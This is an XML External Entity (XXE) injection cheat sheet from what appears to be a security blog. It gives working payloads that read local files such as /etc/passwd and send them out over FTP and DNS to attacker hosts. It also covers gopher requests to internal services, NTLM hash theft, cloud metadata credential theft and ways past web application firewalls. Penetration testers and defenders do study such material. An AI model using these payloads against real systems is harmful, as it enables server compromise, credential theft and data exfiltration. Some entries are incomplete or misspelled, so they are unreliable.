XXE Cheat Sheet - SecurityIdiots

Post Image

XXE - XML External ENTITY Injection
XML - Extenstible Markup language

XML is a well structured document which is used to store information and used as a dataset definition. In XML we can also define schema of the elements, use nested data elements, fetch out those details using an XML parser.

For example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ELEMENT users (user)+>
<!ELEMENT user (id,username,password)>
<!ELEMENT username (#PCDATA)>
<!ELEMENT password (#PCDATA)>
The above XML have a DTD defined where the data type for the XML is defined. The whole DTD can also be defined in an external file. There is something called "ENTITIES" in DTD which could be used for substituion of text.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY x "Faraz" >
<!-- Here "x" is the entity name which is nothing but the substituion for the string "Faraz" -->
		<username>&x;</username> <!-- here the entity "x" is a variable storing the value "Faraz"-->
The ENTITIES could be used to define DTDs in an external file which could be a relative URL or an external URL. This is where XXE comes in. Having external DTD allows an attacker to make an external request from server side, which is done using the "SYSTEM" keyword followed by the path or the URL of external DTD file.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE users [
<!ENTITY x SYSTEM "http://securityidiots/evil.dtd" >
		<username>&x;</username> <!-- here the entity "x" is calling our external entity-->
These Entities could only be substituted inside the XML structure. However, there is something called parameter entities which could be defined as well as called inside the DOCTYPE itself. They are denoted by "% " followed by entity name.
<?xml version="1.0" encoding="UTF-8"?>
	<!DOCTYPE users [
	<!ENTITY % x SYSTEM "http://securityidiots/evil.dtd" > %x; <!-- The Entity "x" is called over here only -->
Types of XXE Scenarios (Different types of scenarios that you may encounter)

Response based XXE - When the Injected request is giving data in response.
Error Based XXE - When there is no response from the XML entities but we are able to view the response by triggering errors.
Blind XXE - When there is no error nor response, but XML is getting parsed at server side.

XXE Injection Sources - File/Input sources that an attacker could use to inject his malicious XML.
  • XML
  • PPT(X)
  • XLS(X)
  • PDF
  • ODT
  • DOC(X)
  • SSRF
  • GPX
  • SAML
  • SVG
  • JSON TO XML Modification
  • Feed.RSS
  • XSD (XML Schema Defination)
  • XMP
  • WAP
  • XSLT

  • Exploitable Protocols

    As, we can use http protocol to retreive our external DTD file, we may be able to use protocols other than HTTP depending on the XML Parser Library and the Server Side Language. Protocols which could help us further exploit the XXE Injection are:
    File: could be used to read local file on the server
    HTTP(s): useful in OOB Data Exfiltration
    FTP: useful in OOB Data Exfiltration & hitting the internal FTP service which is behind NAT
    SFTP: hitting the internal SFTP service which is behind NAT
    TFTP: hitting the internal TFTP service which is behind NAT
    DICT : could also be used to make requests to internal services
    NETDOC: This could be used as an alternative to file in JAVA based Servers.
    LDAP: could be used to query internal LDAP Service.
    	gopher://<host>:25/%0AHELO ... (executing commands on internal SMTP Service)
    	Making internal HTTP Requests(GET,POST..etc):
    	gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
    PHP: if PHP is installed we can use PHP Wrappers to read PHP source codes as Base64 content.

    Exploitation Methods:

    Methods that you can use to increase the impact of your XXE and convert the SSRF to something useful.

    Stealing Net NTLM Hashes : file://attacker's remote IP Running Responder
    	1. Run responder on Attacker's server which turns on the SMB Server.
    	2. Use file://attackercontrolled.com/xyz.txt which inturn would try to authenticate using NET-NTLM Credentials with attacker's SMB Server ran by Responder and we get the Net-NTML Hashes which we could crack offline.
    PORT Scanning
    	1. Differentiate Open/Closed ports based on response content or response time.
    Internal Network Mapping.
    	1. Differentiate existing/nonexisting IPs based on response content or response time.
    Metadata API :
    Usually applications are hosted on cloud based services such as Google, Digital Ocean, Alibaba, Amazon etc. These cloud providers also provides API endpoints which can be used to interact with the configuration, information extraction using these endpoints. Here is a list of few providers and their Metadata API.
    Google, Digital Ocean, Alibaba, Amazon, Kubernetes, Docker, Azure
    Amazon :{rolename} Leaks AWS Credentials which can give read/write access to buckets/EC2 instances leading to RCE
    Google :
    Digital Ocean :
    Alibaba :
    Kubernetes :
    Docker :
    Azure :
    OpenStack/RackSpace  :

    Out of Band Exploitation

    Data extraction using DNS,FTP,HTTP etc.

    1. Over FTP:

    in Java 1.5+ you can't send data having non printable characters such as newlines,carriage returns etc. over HTTP. However, sending it over FTP is not an issue, an attacker can just setup a FTP server and listen for the incoming data.
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE users [
    <!ENTITY % x SYSTEM "http://securityidiots/evil.dtd" > %x; %param1;
    External DTD to Host evil.dtd:
    <!ENTITY % data SYSTEM "file:///etc/passwd">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://AttackerIP:2222/%data;'>">
    Ref: https://skavans.ru/en/2017/12/02/xxe-oob-extracting-via-httpftp-using-single-opened-port/

    2. Over DNS:

    We may not be able to completely exfiltrate the files However, we can fetch partial contents.
    For this technique to work, you must be able to upload a file having your evil DTD contents, on the vulnerable server.

    Upload the file with following contents:
    <!ENTITY % data SYSTEM "file:///etc/hostname">
    <!ENTITY % param1 "<!ENTITY exfil SYSTEM '%data;.attacker.com'>">
    and in your XXE payload use the relative path to the uploaded DTD
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE users [
    <!ENTITY % x SYSTEM "../../u/securityidiots/uploads/evil.dtd" > %x; %param1;
    and in your DNS Server log all the wildcard DNS resolutions to read the input passed via out XXE Injection.

    OOB not allowed:

    Content Spoofing on domain/subdomain:
    	There may be cases where OOB HTTP is not allowed and you are able to find a way to save or control the contents on some page on the vulnerable application. One could write his evil DTD and use it with relative path to exploit the XXE over DNS.
    File Upload on Domain/Subdomain:
    	If OOB HTTP is not allowed and only a few whitelisted domains are allowed. In that case you can look for unrestricted file upload on the application or subdomains of the vulnerable application and host the DTD file there itself then we can exfiltrate data over DNS.
    SSRF on Domain/Subdomain:
    	If we manage to find a GET based full response SSRF over some whitelisted domains where we can control the whole content on the page. We can use it to exploit XXE over DNS.
    Internal Local DTD includes:
    	This is a very neat trick which can help to exploit XXE in worst cases using internal DTD files on the server.

    Exploitable Services
    Redis: Port 6379
    HashiCorp Consul: Port 8500
    In case of Response based XXE, we can use unauthenticated DB API calls such as Couch DB API, Mongo DB.
    		- https://www.netsparker.com/blog/web-security/exploiting-csrf-vulnerability-mongodb-rest-api/
    		- https://hackerone.com/reports/398641
    Memcached - Port 11211
    		- https://medium.com/@d0znpp/ssrf-memcached-and-other-key-value-injections-in-the-wild-c8d223bd856f11211
    Zabbix - Port 10050
    		- https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit (Zabbix Agentd)
    Solr- Port 8983
    		- https://github.com/artsploit/solr-injection
    Also check out this great tool for exploiting such services: https://github.com/tarunkant/Gopherus using gopher://

    XXE WAF Bypass

    <!ENTITY xxe SYSTEM "URL"> Usually "SYSTEM" keyword is blocked by many WAFs, In such case you can use "PUBLIC" keyword as an alternative which has helped to bypass WAFs and Exploit XXEs as SYSTEM and PUBLIC are practically synonyms

    Using "PUBLIC" or Parameter Entities
    <!ENTITY % xxe PUBLIC "Random Text" "URL">
    General Entites:
    <!ENTITY xxe PUBLIC "Any TEXT" "URL">
    change encoding for example on UTF-16, UTF-7, etc.
    <?xml version="1.0" encoding="UTF-16"?> and then you can put the content of XML as of UTF-16 character set which would not be detected by WAFs.
    tampering with doctype/entity names (XXE payloads):
    <!DOCTYPE :. SYSTEM "http://"
    <!DOCTYPE :_-_: SYSTEM "http://"
    <!DOCTYPE {0xdfbf} SYSTEM "http://"
    Remove <?xml version="1.0" encoding="UTF-16"?>
    This is has worked for me numerous times as many WAF blocks "<?xml" or just "<?" together. However, removing doesn't cause issue with the parsers usually.
    Adding space before the protocol
     <!DOCTYPE :. SYTEM " http://evil.com/1.dtd"
    Use netdoc:/ in place of file:///
    <!ENTITY % data SYSTEM "netdoc:/etc/passwd">
    Different Contexts for XSS execution
    Older post

    Different Contexts for XSS execution